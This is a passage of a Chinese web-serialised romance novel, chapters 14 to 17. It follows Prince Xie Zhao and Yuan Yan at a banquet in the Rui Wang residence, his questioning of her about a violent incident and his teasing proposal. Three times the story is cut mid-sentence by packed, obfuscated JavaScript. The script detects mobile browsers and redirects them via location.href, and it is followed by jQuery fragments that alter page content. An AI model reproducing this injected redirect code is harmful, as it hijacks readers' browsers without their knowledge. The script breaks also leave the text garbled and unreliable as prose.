果然此话一出，燕七眼底笑意瞬间收拢，随即垂头丧气，语气落寞道：“府里这么忙，小的得留在府上听令！虽说吴管家再三强调不教小的露面，可凡事也有万一不是？下次，下次不忙时再去不迟。”他给自己找了好些理由，是在和谢兆解释，也是说服自己。 其实他今日早就去过了，在各家官眷到来之前，他就去了。 只不过，再也不想去而已。 谢兆见他这副样子，没再说什么刺激他的话，只抬手拍了拍他绷直的后背，想了想说：“你继续练拳去，不用跟着我。” 燕七忽然想起一事，忙告诉他，“殿下，还有一事小的没说呢！” “何事？” “小的不是有意探听，只是动静闹得很大，小的远在临风阁都听到了，”燕七斟酌词句，轻声说道，“大概就是薛尚书家刚回来的那位嫡长女，和岳阳侯家的那位跋扈千金起了老大冲突！” 谢兆放慢脚步，问的有些漫不经心，“因为什么？” 燕七迟疑着说：“应该是薛尚书家的不小心踩了岳阳侯家的鞋子——殿下，吴管家不让小的乱跑，小的真只是在这听见她们吵架，那动静，当然主要是岳阳侯家的声音大，小的耳力又不错，想不听到都难。其实应不是什么大事，小的听了一会，很快就再无动静，想来是当场就解决了。” 谢兆没立刻说话。 燕七以为他不知道自己说的是谁，就解释道：“殿下有所不知，小的却是知道，其实这并非秘密，薛尚书家的嫡长女自幼走丢，这些年尚书大人都在到处寻找，任是谁瞧了都要摇头，说人都丢了那么多年，能回来早都回了，毫无音讯，多半是已不在人世，但薛尚书还是只要有一点风声就一定要去看一看，就这么，去年初还真给找着了！据说向来尚俭的尚书府破天荒请了水玉楼的厨子去府中大摆宴席，所花费的得顶得上府里五六年的开销了！”他边说边唏嘘，忍不住感叹，“殿下您说，这算不算皇天不负有心人啊？” 谢兆倏然顿住脚步——那种感觉又来了！ 像是有丝丝缕缕的线条有如实质般萦绕在心头，勾着他，犹抱琵琶似的要告诉他什么，他有心想去抓住探一探究竟，可每当念头兴起，便只能眼睁睁看着它们从心头泥鳅似的逃走，简直滑不留手。 燕七不明所以，“殿下？” 好半晌，谢兆才重新慢吞吞迈步，沉吟道：“薛尚书找回嫡长女一事，我略有耳闻。” 燕七等了一会也没等到下文，不由偏头看过去——什么也没看出来。 那感觉消失了，在他试图去抓握去探查时，谢兆向来不怎么愿意跟自己较劲，所以没了就没了，心中倒没有别的感想，一时得失不代表永远，说不定下一次福至心灵的时候，一切就都豁然开朗了。 “殿下，您不会真打算过去跟那些官家夫人小姐们一块用晚饭吧？” 谢兆瞥过来一眼，像是在看傻子。 燕七想起方才谢兆的话，将人送到临风阁外便止住脚步。 他当然不会这么过去，以前母妃操办的那些宴席他也从未出席过，顶多顶多，是在她们饭后游览瑞王府时打个照面，双方或是几方点个头而已。 这次同样。 离着后花园越近时，他便能清楚听见园中嘈杂的交谈声，具体什么听不真切，只能判断出，里面十分热闹。 他倏然转了个弯，往回廊而去，回廊尽头是一处高台，拾阶而上，有个可以煮茶喂鱼的小亭子。谢兆就是去了那。在亭子里坐下，此处每日都会有专人更换茶具以及山中清泉，谢兆看一眼不远处的后花园，慢悠悠地煮起茶来。 若有心人往这边望一望，其实是能看见的，只不过园中众人此刻注意力都在桌案以及司空青蓝那边，没谁会突然往后看。 除了她。 这一瞬间，谢兆和袁彦目光交错，双方目力都是极好的，像是上元节那日的夜里，她掀开车帘，与巷中马上的他摇摇相对。 彼时的谢兆被那一眼看得措手不及，事后回想总是觉得棋差一招，因而此刻他有所准备，于是在她看过来的刹那，视线便牢牢将她锁住，而后气定神闲，端起茶碗浅浅啜了一口。 袁彦不甘示弱，拿起桌案上的小酒杯，隔空轻点，杯中酒一饮而尽，喝完后，示威一样杯底朝上。 模样娇憨。 谢兆怔怔看了会，对面早已扭回头不再望他。 两人之间的暗潮涌动并未引起席间谁的注意，就连时常将目光放在袁彦身上的司空青蓝都未曾察觉。还是郑嬷嬷不经意抬眼时，看见了坐在不远处亭子中喂鱼煮茶的谢兆，心中不由大喜，视线环顾在诸位官眷小姐身上，一时倒也拿不准殿下是冲着谁来的。 她便借着倒酒的间隙，低头和瑞太妃耳语几句，太妃喜怒不行于色，闻言只是提箸夹菜，不着痕迹地瞥了远处亭子一眼。 会心一笑。 席后众人借着散步之由游览瑞王府，一些别有用心的夫人东张西望，企图在不经意间，好让自家掌上明珠与那瑞王殿下来个偶然邂逅，说不定自家女儿便就入了他的眼，从此做了这偌大王府的当家人呢！

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443170|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “往日只觉时间过得极慢，好像怎的都到不得晚上，今日却是不知不觉，竟是已经要掌灯了。”刑部主事蔺文礼的夫人曹氏望了望天，掩嘴笑道。 “家中太过无趣，还是太妃这里最有意思！” “可不是，每次来我都能见识到别处见不到的东西，光是瞧着就能教人爱不释手了。” 司空青蓝微笑说：“若有看得上的，尽管提，回头让管家一并收了送到各位府上。” 众人纷纷露出惊喜神情，相互对视后，默契地福身，“多谢太妃赏赐！” “免了免了，今日开心，就省了那些个俗礼！” “有段日子没过来，王府是又比先前精致不少——太妃，这些可都是出自您与瑞王殿下新的巧思？”礼部尚书郭汝明的夫人崔氏亦是四处看了看，比起她们的刻意恭维，她的话却要熟稔许多。 “我闲来无事，便就只剩这么点爱好了，兆儿孝顺，也会时常去搜罗一些有意思的小玩意，”司空青蓝笑着，有了些兴致，继续给众人介绍，“府中一些摆件盆栽之类，大大小小都有一些，另有不少拿来观赏的小物件，或刻或雕，基本都是他自己做的，门口放着的那尊等人高的山水木雕，是他空余时候拿来练手用的，对，还有那座高台处新添的亭子，就是知道我喜欢，亲自找匠人设计张罗的。” 袁彦顺着话音望过去，亭子里早就没有了谢兆。 众人一经提醒，想起进府的时候那惊鸿一瞥，原以为是出自哪位大师的手笔，却原来竟是瑞王殿下亲自操刀！ “练手的东西都已经那般精致，将来的成品不知该多惊艳呢！” 好几个闺阁小姐的气息骤然雀跃起来，相互对视，各怀心思，就算没什么争抢的机会，但万一呢？ 袁彦这次没有走在最后，而是保持离着司空青蓝几步的距离，不远不近地慢慢跟着，身后一道视线狠辣灼热，她假做没有注意，似全神贯注地听着前面夫人们的交谈。 郭瑜仍旧愤恨不已。 她今日原本就来得不情不愿，先是被母亲苦口婆心劝，再是被父亲厉声训斥，否则她才不会来这名为打春宴，实则是给瑞王选王妃的什么劳什子！ 心中早已不爽至极，偏偏鞋子还给人踩了一脚，偏偏母亲病重没有相陪，偏偏……偏偏就是打不过！ 手腕处还在隐隐作痛，哪里想得到一个丫鬟那么大手劲！ 郭瑜眼圈微红。 不过此时谁也顾不上她，也不想顾她，就算她是岳阳侯的掌上明珠又如何？这里是瑞王府，可不是岳阳侯的后花园。她们今日来是要搏一个跟皇家沾亲带故的关系，那瑜姐儿不知好歹，吃着盆里望着锅里，干出来那些个破事全平京城谁人不知？ 竟还有脸来这打春宴，偏偏来了还不安生，恬不知耻！ 不过也未必没有一点好处，在瑞太妃面前现眼，总归是少了个对手。 心中各有算计，嘴上却依旧在恭维。 “殿下这一手，堪称是大家手笔了！” “殿下从小到大，什么都能做到最好……” …… 妫氏领着薛渠走在靠前的位置，脸色说不上好坏，今日过来本就是她拼着跟薛崇贵大吵一架吵来的，那两袖清风的户部尚书警告的话语直到这会依然时常在耳边回响——收起你那点小心思，渠儿的婚事还轮不到你操心！ 她是薛府的当家主母，是薛渠的生母嫡母，凭什么轮不到她操心？ 她望着前面众星拱月的司空青蓝，眼神晦暗不明。 一旁的薛渠像是感觉到了什么，心惊胆战地轻轻扯了扯母亲的袖口。 15. 第 15 章 妫氏骤然偏头，望见了女儿眼中的为难与乞求，微微一愣，随即恨铁不成钢地剜了她一眼。 薛渠泫然欲泣，下意识回头，恰好对上长姐袁彦的沉静目光，心中一时大定，好像也没那么忐忑了。 韵采从旁默默瞧着，这是把她家姑娘当成主心骨了。 各家夫人仍在争抢着使出浑身解数，逮着篆刻这一点不遗余力地恭维，被瑞太妃一一笑纳。 马屁拍到了正地方，众官眷便更加放松，无非是想要留下个知书达理的好印象。 崔氏亦然，可她到底是个既要里子又要面子的官家夫人，即便心里对谢兆诸多满意甚至想要巴结，也没过多外放，指着不远处那处高台说：“记得去年过来，那里还只是种了些月季，想不到如今成了凉亭，倒和这内湖相得益彰，真是玲珑心思！” 旁边不少夫人于是都跟着转换话题，轻声附和。 其实她们大多都晓得，崔氏大概才是瑞王府真正想要宴请之人，只因无论从年龄，才情或是外貌长相，礼部尚书郭汝明的千金都是其中的佼佼者，当真是没法比的。 但那又如何，最终敲定的，不还得是瑞王殿下本人么？如果真看上了，那郭阮待嫁快两年了，怎的还不见瑞王府有动静？很显然，就是没看上嘛！ 蔡氏与崔氏对视一眼，前者剔透得瞬间领会其中含义，便拉着自家女儿不经意地说了句：“我记得阮姐儿也常会雕刻一些核桃之类的小把件呢？” 崔氏就感叹着回答：“女孩子家的小把戏而已，跟瑞王殿下可没法比呦！” 郭阮闻言恰到好处地嗔怪一笑，如在自家般和母亲撒娇，拿捏得十分得体。 “雕刻核桃那么精巧的技艺怎能是女儿家的小把戏呢？”瑞太妃不经意望了眼郭阮精致纤细的双手，笑容不变，说她，“你最是个伶俐的了。” 崔氏和阮姐儿忙谢过夸奖。 其余众人相互对视一番，皆从对方眼中瞧出了了然。 天色渐晚，小厮依次在府中挂起灯笼，视野所及处清晰又朦胧，和白天的王府是两种感觉，有许多镂空的装饰里都放了灯，崔氏心中惊叹，望向前头的那点光亮，看向瑞太妃，“都这么晚了，殿下还没散职回来吗？” 瑞太妃轻声一叹，无奈道：“自打去了刑部，我有时候一整日都见不到他。” “殿下身为刑部侍郎，身上责任肯定是重的，忙一些也是在对整个平京城负责。”崔氏只好顺着话头说道。 此刻只有崔氏和女儿郭阮走在瑞太妃身侧，其余人都默契地落后两步——这边眼看着是走不通了，只等着有机会偶遇瑞王谢兆，到时候再各凭本事吧！总归不会只娶一个，当不成王妃，侧妃的位置总还是富余的。 说着话，见吴管家信步而来，先和主人见了礼，又和各位官眷见过礼，这才道：“太妃，郭尚书家的马车已经在门口候着了。” 自然是来接崔氏以及女儿的。 崔氏有些意犹未尽，但时候是真不早了，且她们作为女方，说亲这种事若是太上赶着，反倒成了那个被动的，到时候瑞王府这边没有任何损失，女儿郭阮的名声可就不好听了。 所以越是想要将亲事敲定，就越是不能急于求成，已经等了两年，断不能在此刻绷不住以致功亏一篑。好歹他们郭家也是高门大户，虽如何都比不得瑞王府尊贵，但也是书香门第、钟鸣鼎食之家。 再怎么想结亲，也不能落了自家的身份。 想通此处，崔氏便拉着郭阮与瑞太妃以及众人告辞。 不一会又有小厮前来，言说各家马车都已陆续赶来，余下的贵妇小姐们便也都纷纷告辞，只是没能见到谢兆，不少人眼中都是掩饰不住的失落。 袁彦和妫氏来时就不是乘坐的一辆马车，回去自然也是兵分两路，妫氏拉着薛渠磨磨蹭蹭，府上的车已经在外等了好一会，她却还在装模作样地指着一处假山石问说，这块石头真心不错，不知是瑞王殿下从何处寻来？ 司空青蓝望了眼一旁的郑嬷嬷，后者通过多年的主仆默契立刻会意，忙笑回道：“夫人，这块石头是当初瑞王府落成时先帝赐下的，出自越州宋大家的手笔，并非是我们殿下寻来。” 妫氏悻悻收回手。 薛渠如芒在背，其实她周围早就不剩谁了，可就是觉得，仿佛有许多道目光正在偷偷瞧着她，瞧着她与母亲的笑话。 她想去拉母亲赶紧离去，可母亲却暗中狠狠将她的手甩开，还扭过头来用力瞪了她一眼。 十岁的小女孩本就该是个天真无垢的模样，可薛渠的脸上却满满的全是无可奈何，她下意识四处看，却没能望见那双令她安心的眸子，免不得更加六神无主。 司空青蓝再次给郑嬷嬷使了个眼色，郑嬷嬷便走到了妫氏面前，搭了两句话后，开始亲自给她介绍起府中一些个装饰摆设。妫氏受宠若惊，小心翼翼应对，一时间倒也顾不上薛渠如何。 司空青蓝招了招手，让薛渠过去说话。 薛渠怯生生的，连头也不敢抬，不过礼貌仍在，薛府的家教向来很好。 “拜见太妃。” 司空青蓝借着灯火仔细端详，忽然笑了笑说：“你和你的长姐倒不怎么像呢！” 薛渠心中一颤，斟酌回道：“回太妃，父亲说长姐的容貌继承了先夫人的九成，渠儿却是和母亲相像，”说着便笑起来，“父亲总说，他只是参与了一番，却根本没留下丁点印记。”然后像是突然意识到话里的不合时宜，慌慌张张地闭上了嘴。 不似作伪。 司空青蓝对此没有特别大的反应，妫氏那边顾着咋舌府中那些奢侈贵重却放置随意的摆件，当然没有注意自己女儿说了什么大逆不道的话。 薛渠望向旁边亭子中挂着的朱砂小葫芦，心中喜爱不已，忍不住多看了两眼。 司空青蓝便招来丫鬟，将葫芦摘了下来，送到薛渠的面前。 薛渠受宠若惊。 “拿着吧，不是什么值钱的玩意，是我去年外出游玩时在小商贩的摊子上随便买的。” 薛渠这才小心伸出双手接过，触手圆润，沾着王府中特有的一种味道。 爱不释手。 “谢太妃赏赐！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443171|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 司空青蓝笑看着她。 容貌继承了九成，这倒也说得过去？ 文五早就来了，袁彦带着韵采也准备离去，只是到了门口之际又被那位吴管家阻了阻，说让她稍等片刻，瑞太妃有话要问。 袁彦随手推衍，觉得没什么难事，便点头答应了下来，想了想，让韵采先行去车上和文五汇合。吴管家笑容和善，等她做完安排，便亲自领着她拐去了东边的一处小院。 “薛小姐，屋子和院子都是收拾妥当的，您若是累了，可在里面小憩片刻。” 妫氏终于带着薛渠登上自家马车，掀开车帘各处瞟了瞟，没瞧见什么，心中游移不定。 车夫驾车离开，不远处隐在巷子中的韵采啧啧道：“心眼子都长到她身上去了！” 文五坐在后面的马车上，掩嘴而笑。 “母亲在找什么？”薛渠藏在袖中的手中仍攥着那枚朱砂葫芦，来回摩挲，显然是真心喜欢的。 妫氏早就见到了，只是一直假做没注意，此刻看着女儿这副不争气的模样，真是气不打一处来，“还藏什么？我又不瞎！” 薛渠手指下意识又紧了紧，嗫嚅道：“是太妃赏赐……” “我知道！”妫氏没来由竖起眉眼低吼，手也抬起来，只差一个念头就要扇过去。 薛渠不敢躲，却又像是习以为常。 她早就领教过自己母亲的喜怒无常，好的时候是真的对她很好，陪着一块玩，给她一切她认为最好的东西，赖的时候，亦是一两句没法说清楚。 那巴掌终究没打下来，半晌，妫氏才有气无力地开口，“你知不知道，今日所有拿了赏赐之人，即便明年仍然会被邀请过去，但实际都是没了机会的？” 薛渠倒没想到这一茬，听完只是心中奇怪，却根本没有别的念头，“母亲是如何得知的？” 妫氏冷笑，望着这个好似痴傻一般的女儿，想不通为何自己这般精明算计，却生出这么个头脑简单的，“因为去年的打春宴就是如此！” 薛渠皱眉，“可是别的……” 妫氏冷哼道：“一个个深宅妇人，头发长见识短，得了赏赐仿佛就得了天大的好处，以为从此在瑞太妃面前有了面子？天底下哪有这么容易的事！”压低声音，像是恨得咬牙切齿，“连同那崔氏，也是个自以为是、自视甚高的糊涂人！” 薛渠心说，今日所有在场的，应是都拿到赏赐了，不对，长姐就没有！ 可她看着母亲那张略显陌生的面容，咬咬牙，始终没有说出口。 袁彦将小院四周都瞧了瞧，天已暗下去，即使各处都点了灯笼，还有一些镂空石雕中隐着的烛火，仍然让人的视野变得朦朦胧胧。 她走进前厅坐下，奉茶丫鬟上了壶茶，给她倒了一杯，便悄然退下。 袁彦浅浅尝了一口便搁置手边。 谢兆无声跨过月亮门，几步路后，视线便转到了袁彦的脸上，然后，两人目光又一次对视交错。 那双眼睛，恍惚一梦。 谢兆嘴唇翕动，却还是悉数咽下到了嘴边的话语。 16. 第 16 章 见到来人，袁彦微微愣住，倒也不见任何慌张，施施然起身见礼，“参见瑞王殿下。” 谢兆便有了顺理成章走进去的理由，于前厅外的台阶下站定。他身上仍然穿着回来换过的那套行头，这会起了风，倒也不觉得冷。 两人一里一外，袁彦仍保持着揖礼的姿势，谢兆却是毫不遮掩的打量。 不知是想从那张低眉敛目的脸上瞧出什么，或是应该看出什么。 “免礼。”他说。 袁彦直起腰身，抬眼，有些不合规矩地居高临下。迟疑一息，只得走出来，隔着三五步的距离，在谢兆面前站定。 她直截了当问道：“殿下假借瑞太妃之名将阿灵留在这，是要做什么？” 被一句话戳破心思，谢兆倒并不觉得是被冒犯，反笑问她：“今日不是也喝了酒，怎的未见撒酒疯？” 他是指那日在水玉楼的事。 袁彦笑了笑，像是被说得不大好意思，面上带了几分羞赧，语气却不卑不亢的，“殿下莫不是要在这里和阿灵清算那日的糊涂账了？” 他拿冰凉的巾帕涂了她一个花容失色，她自然全程没给过什么好颜色。 她随即望了他一眼，眼波流转，有烛火闪耀其中，谢兆看得一愣，鬼使神差道：“怎么会……不过随口一问，薛姑娘莫见怪。” 袁彦只好又向他揖礼欠身。 “进去说？” 话虽是询问，却是不由分说，谢兆率先往里面走，袁彦稍稍落后两步，跟着走了进去。 “不知殿下找阿灵所为何事？” 谢兆单刀直入，“薛姑娘昨日去了洛迦山？” 袁彦没有迟疑，点头说：“是。” 谢兆直直看着她，忽而弯唇，笑着说：“薛姑娘不必如此紧张，只是随便聊聊。” 袁彦抬眸看了他一眼，不以为然。 “多年前阿灵曾在别处一座香火旺盛的寺庙中许愿，其实并不抱什么希望，没想到后来竟真的能和父亲再度重逢。那个时候每日为生计发愁，早就忘了许愿这一说，后来回到家，更是琐事缠身，此事即便后来终于想起，也只能暂时搁置。”袁彦睫毛微颤，神色略显难为情，她将这么多年的漂泊落魄直白地讲给一个外人听，就像是扒掉了当下这张大家闺秀的伪装外皮，露出不堪又腐朽的内里。 谢兆安静听着，心中权衡她言语里的真真假假，面上并未露出丝毫多余表情，只一边想着，一边继续缓缓开口询问，“据我所知，平京城百姓上山烧香拜佛，一般都赶在初一或十五——比较灵验。” 袁彦摇头，“当年许愿之时恰好就是那个时间，所以阿灵想着，既然要还愿，昨日去应该能更好。” 谢兆轻轻笑问：“不是早就忘了许愿一事，时间倒能记得那么准确？” 袁彦顿了顿，叹了声，认命般的，“不敢欺瞒侍郎大人，昨日是阿灵生辰，生辰日许愿，这种事就算当时忘了，事后认真回想，也是可以想起来的。况且就算记错了，赶在生辰之日还愿，想来也算事半功倍？” 能够自圆其说的说辞，动机也仿佛合情合理。 生辰一事，着人查了便知，若在这事上做文章，的的确确得不偿失。 袁彦又问：“大人为何有此一问？”一笑，“上山许愿还愿这种事，也归侍郎大人您的刑部管？” 谢兆不理会她的软绵一刺，接着问她，“昨日上山，可碰见了别的人和事？” “大人是指？” 谢兆眼瞧着她这装傻充愣的模样，忽而气极反笑，“闹出那么大动静，薛姑娘是要和我说，你一无所知吗？” “毕竟涉及到了皇家之人，阿灵一个闺阁女子怎好过多置喙？自然是远远避开，最好全部忘了去，总好过某一日教人晓得了，惹来大祸事。” 谢兆了然，点头道：“所以昨日山上所发生的事，薛姑娘便是见证人了。” “可不敢如此说，”袁彦忙起身，神色仓皇，恨不能使出浑身解数将自己摘出去，“昨日添过香火钱，便带着婢女往更远处走了走，大人想必知晓，阿灵曾在外数年，是以上山下河并非难事，也是在走出很远之后才听见寺院方向不同寻常的动静，刀光剑影呼喝嘈杂，那还怎么敢过去？最好是往更远处跑，省得无事生非，被无端波及。” 谢兆坐得端端正正，望住她。 袁彦垂眼，头微微偏离，“后来等到终于安静下去，这才悄悄往回走，到了寺院，恰巧碰上僧人们收拾过半，有心想要询问一番，僧人们却都在打机锋，话里话外让我们主仆赶紧下山，莫要逗留，就只好打消念头。” 被人一直这么不错眼珠地盯着看，这很于礼不合。 袁彦有心想出声提醒，又怕他瞧出点别的，便作罢，左右不过是被看几眼，又不会缺斤短两。 谢兆微微眯眼，“我可没说昨日山上出事的是什么皇家之人。” “康平王府的马车，想必平京城没有人会不知道，况且阿灵上完香离开时，远远瞥见了王府的那位妾室，只因离得太远，便没过去打招呼，免得教人误会攀附，”顿了顿，袁彦忽然有些好笑，“侍郎大人如此问下来，莫不是怀疑昨日之事全是阿灵的手笔？” “哪能，只是听闻昨日山上那般凶险，刀光剑影死了好些人，薛姑娘却得以全身而退。探寻个中缘由，属实是好奇不已。” 袁彦眼中似有薄怒蓄积，“无凭无据，请侍郎大人慎言！” 谢兆微微愣住，正常说话而已，怎的就突然生起气来？ 气氛僵硬，谢兆认真看她一眼，没在此事上做过多思虑，再开口时语气却带上几分诚意，“是我唐突了，还望薛姑娘见谅个。” 不管如何，这话总能稍稍平息一番那莫名其妙的怒意。 袁彦冷哼，但修养仍在。 谢兆觑着她的脸色，轻声问：“下山一路顺利？” 袁彦仿佛知道他要问什么，气未消，却还是尽量心平气和，“不敢欺瞒，因为出了那么大的事，便想着多一事不如少一事，让婢女另寻了条绕远的路，耽搁了好一会才回去。” 回想起派去的探子回报说，这位薛家千金到家时，已差不多是未时末。 她有作案时间，甚至空闲到可以去药死小二府上池塘中的锦鲤，但若抛却某个推测，便没了作案的动机，逸云坊也并未有这位薛家千金出现的汇报。 他问什么她都有的答，所说的每句话都好像合情合理，可就是有种牵强附会之感，细想下来，则又挑不出错。 就像水玉楼死了那三个人，所有相关之人都能够将自己摘的干干净净，就算发现了蛛丝马迹，也会先一步擦拭干净。 他看着她。 袁彦微微垂眼，不与他对视，只语气生硬问道：“侍郎大人，还有别的要问吗？” 谢兆再次道：“并非是在衙署刑部，薛姑娘不必如此。” 袁彦站姿笔直，不卑不亢，没什么表情，“还是要有规矩。” 谢兆想起下午天还亮着的时候，两人一个在亭子中，一个坐在席面上，摇摇举杯，当时她那副自然流露的娇俏模样，眼底不由有了几分笑意，随即问起了别的，“薛姑娘平时很喜欢小酌几杯？” 不知他为什么岔开了话题，袁彦迟疑，“偶尔。” “像上元夜那般酩酊大醉呢？” “也就那一回。”袁彦面露疑惑，反问回去，“大人到底想说什么？” 谢兆不答，只顾问她，“今日府里的打春宴，薛姑娘知道其实是做什么的吗？” 起先不知道，只是被薛崇贵提醒建议，自己略作推衍，便也就不是什么秘密，再者出门前瞧见妫氏那样作为，她就是什么都不做，大致也猜得出来。 “来时父亲只说，是瑞太妃每年都会办的席面，全平京城的闺阁姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443172|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都会过去，阿灵作为尚书府嫡长女，既然已经回到了家，一些个走动也是必要的，虽不至于因此就能结交了谁，但出来见见人总也不是坏事。” 谢兆免不得又笑起来，视线在今夜应该就没离开过她，“你倒真是坦诚。” 袁彦想起白日落座处的那棵老榕树，再开口时语气是自己都没察觉的温柔，眼底也跟着蓄了些柔软的笑意，“实在不敢欺瞒殿下。” “这打春宴，是太妃在为王府相看王妃。” 袁彦恰到好处地微微一愣。 不等她说话，谢兆就继续说道：“其实来的这些人，去年也差不多，有一些新人，更多的是些熟面孔，和去年一样，走前都挑选了自己中意的物件，明日就会送到各自的府邸，就连你的继妹也有，是太妃亲自命人摘的，一个小巧的朱砂葫芦。” 袁彦垂眼，她并没有选。 她的意思很明确，就是不想和瑞王府有过多的牵扯，有一些社交实在避免不了，那就停留在泛泛之交，这就挺好的了。 “你为何没有选？”谢兆冷不丁出声一问，目光锁着她，“是那些东西都不合心意？” “不是，”袁彦睫毛微微颤动，迅速组织语言，斟酌道，“就是觉得府里东西太过贵重，且是太妃的心爱之物，不好夺人所好。” 谢兆不说话，静静瞧她。 袁彦深深吸气，眉宇间带了些克制的懊恼，“好吧，确实是没看到合心意的。” 谢兆倏然一笑，如清风朗月。 袁彦怔然，几息后方后知后觉别开目光。 “薛姑娘有没有兴趣，来当这个瑞王妃？” 袁彦蓦地抬眼，直直对上那双含着笑、带着询问的黑眸。 两人间不过数步，一坐一立。 半晌，她才犹豫开口，涩然道：“为何……” 谢兆轻笑，有些自嘲，又像是逗她，“也许是上元夜不打不相识，又或许是今日来的人中，只看薛姑娘最合心意？” 袁彦呼吸微微一滞。 倒也没有什么被轻慢或者羞赧的念头，也许是“做瑞王妃”这件事被他说的太过公事公办？好比先前他那样咄咄逼人询问山上事宜，此刻虽不至强迫，甚至还有商有量，可就是有种正式到过头了的感觉。 仿佛瑞王府是瑞王府，谢兆只是谢兆，两者一个意思，却意义不同。 她沉默，他也不着急得到回复。 良久，袁彦不疾不徐地开口说道：“殿下身后那个玉盘瞧着不错，不如就送了给阿灵？若实在是太妃的心头所好，阿灵可以再去选个别的，偌大瑞王府，藏品定不会少了，必可寻到一称心合意的物件！” 谢兆毫无征兆地大笑起来。 “没有了，”他不合常理地耍起无赖，目光直勾勾的将她锁在视线内，“就是看上眼，也不给了。” 袁彦这次是真的被惊到，脸色甚至可以用“难看”去形容。 谢兆于是心情更好，却就只是那么不遮不掩地望着她，不做除此之外的任何逾矩行为。 院外随时候着的吴管家蓦地听见里头动静，眉目高高扬起，而后挥手，更远处的伶俐丫鬟转过身，往司空青蓝的院子跑去。 “当真？”声音是隔着门板传出来的。 小丫鬟猛点头，脸都快贴到门上，“吴管家亲耳听见的，奴婢远远地也依稀听了些，当真！” 屋内随即传来爽朗大笑。 吴管家亲自将袁彦送出府，文五驾着马车安静停在门口，韵采跳下车，将脸色不太好的姑娘扶上了马车。 慢慢悠悠离开。 谢兆仍坐在那处小院的厅中，忽然无奈一笑。 案子不明朗，拿她撒什么气！ 暗卫无声落在院中，听见动静的谢兆收拢神情，看向前方黢黑处。 是无为。 “殿下，属下见到了那日的洞中男子。” 17. 第 17 章 韵采悄然观察袁彦的脸色，一时有些摸不准，斟酌片刻，问得直截了当，“姑娘可是在瑞王府受了委屈？” 袁彦靠坐在一边，眼睛微微阖着，有点精力不足的样子。 没说话，只是摇了摇头，过了一会，她小声问道：“逸云坊有什么消息？” 韵采也压低了声音，“康平王进宫了。” 袁彦唇角微动，像是笑了一下，半晌，说了句前言不搭后语的话：“韬光养晦啊，一点也不好玩！我还是喜欢将事情都摆在明面上去。” 韵采明白她话中含义，隐隐担忧，“会不会太急了？毕竟这里不比南疆，我们在平京城的布置远远不及那边，做什么事都十分掣肘，逸云坊这么多年的盘根错节，可不是一朝一夕能够撼动的。” 袁彦没有睁眼，这一日在瑞王府像是累极了，韵采见状，又拿了软垫给她垫在身后，“要不要躺一会？” “不用，”袁彦用气声道，说话间给自己换了个姿势，好靠得更舒服些，“什么时辰？” “戌时三刻，”韵采掀帘子望一眼外面，“姑娘接下来还有安排？” 袁彦想了想，敲三声车厢壁，得到文五的回应，这才吩咐，“先去一趟丝绦堂——妫氏今日在瑞王府受到不少白眼，这会定是在等我，迟了这么久才，免不得要试探几句。” 韵采不以为意，“姑娘何须如此？” “一个府上住着，总不能一点甜头都不给，那是只不会叫的狗，会咬人的。” 韵采犹豫一瞬，轻轻问道：“她真的是……”指了指上面，没有明说。 袁彦精神好了些，睁开眼，愣愣望向车内一处，许久才回了句：“这么些年过下来，也是有些感情了的，只是人心复杂啊。” “怕就怕到时候她忘了身份要鱼死网破，连累薛大人不说，还将姑娘你裹挟其中。” 袁彦微微牵起唇角，倾身将那处藕断丝连的穗子摘了下来，随手整理搁在手边，说了一句，“棋子而已，执棋者可以是任何人，是那最上面之人，也可以是我。” 韵采望着那张笑盈盈的脸庞，微微出神。 “按照阎婆婆的脚程，这会应该已经到了永州地界了？” 韵采点头，“是呢，姑娘在王府用饭时传来的信，我正想和你说这个，”顿了顿，再开口时语气就有些沉闷，“那三人，到现在都没有任何回音，飞燕堂更无消息，估摸着眼下都给万家控制了，别的倒还好，就怕到时候连个全尸都捞不着！” 袁彦垂下眼，摩挲着腰间悬挂的一枚香囊，“将他们贴身物件寻来，明日给我。” 韵采猜到她要做什么，有些担忧，“我已经将银钱全数送去青罗郡，那边咱们的布置早就成熟，定不会教那三人的家中老小委屈了去，姑娘何必还要……” 袁彦疲惫地再次闭眼，“因为我的一个念头，让万家这些年作威作福，甚至趁我不在，以为可以骑在我身上拉屎——飞燕堂出事，是我的过失，那三人也是因我而死，生前饱受折磨，我却只能在他们死后做些力所能及之事。人心不足蛇吞象，根本就没有所谓的‘例外’！” 韵采不知再劝什么，只是无声一叹，“他们的东西我提早就收拾了，本打算一并送往青罗郡好做衣冠冢，临时又抽出一些物件，也算是福至心灵了，明日就给姑娘拿来。” 袁彦睁开眼，朝她微微一笑。 马车渐停，文五再次敲响车壁。 